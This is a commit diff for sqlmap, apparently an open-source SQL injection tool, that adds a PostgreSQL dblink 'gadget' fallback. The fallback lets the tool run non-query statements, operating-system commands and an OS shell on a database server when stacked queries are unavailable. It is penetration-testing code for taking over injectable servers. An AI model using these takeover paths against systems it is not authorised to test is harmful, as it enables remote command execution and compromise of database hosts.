Adding gadget fallback for non-query statement execution without stacked queries (PostgreSQL dblink)

plugins/dbms/postgresql/takeover.py

@@ -102,7 +102,7 @@ class Takeover(GenericTakeover):
     def copyExecCmd(self, cmd):
         output = None
 
-        if isStackingAvailable() or conf.direct:
+        if isStackingAvailable() or conf.direct or inject.getGadget():
             # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
             self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
             self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)

plugins/generic/custom.py

@@ -71,7 +71,7 @@ class Custom(object):
                             output[i] = joinValue(output[i])
 
                 return output
-            elif not isStackingAvailable() and not conf.direct:
+            elif not isStackingAvailable() and not conf.direct and not inject.getGadget():
                 warnMsg = "execution of non-query SQL statements is only "
                 warnMsg += "available when stacked queries are supported"
                 logger.warning(warnMsg)

plugins/generic/takeover.py

@@ -27,6 +27,7 @@ from lib.core.exception import SqlmapNotVulnerableException
 from lib.core.exception import SqlmapSystemException
 from lib.core.exception import SqlmapUndefinedMethod
 from lib.core.exception import SqlmapUnsupportedDBMSException
+from lib.request import inject
 from lib.takeover.abstraction import Abstraction
 from lib.takeover.icmpsh import ICMPsh
 from lib.takeover.metasploit import Metasploit
@@ -46,6 +47,8 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
     def osCmd(self):
         if isStackingAvailable() or conf.direct:
             web = False
+        elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
+            web = False
         elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
             infoMsg = "going to use a web backdoor for command execution"
             logger.info(infoMsg)
@@ -68,6 +71,8 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
     def osShell(self):
         if isStackingAvailable() or conf.direct:
             web = False
+        elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
+            web = False
         elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
             infoMsg = "going to use a web backdoor for command prompt"
             logger.info(infoMsg)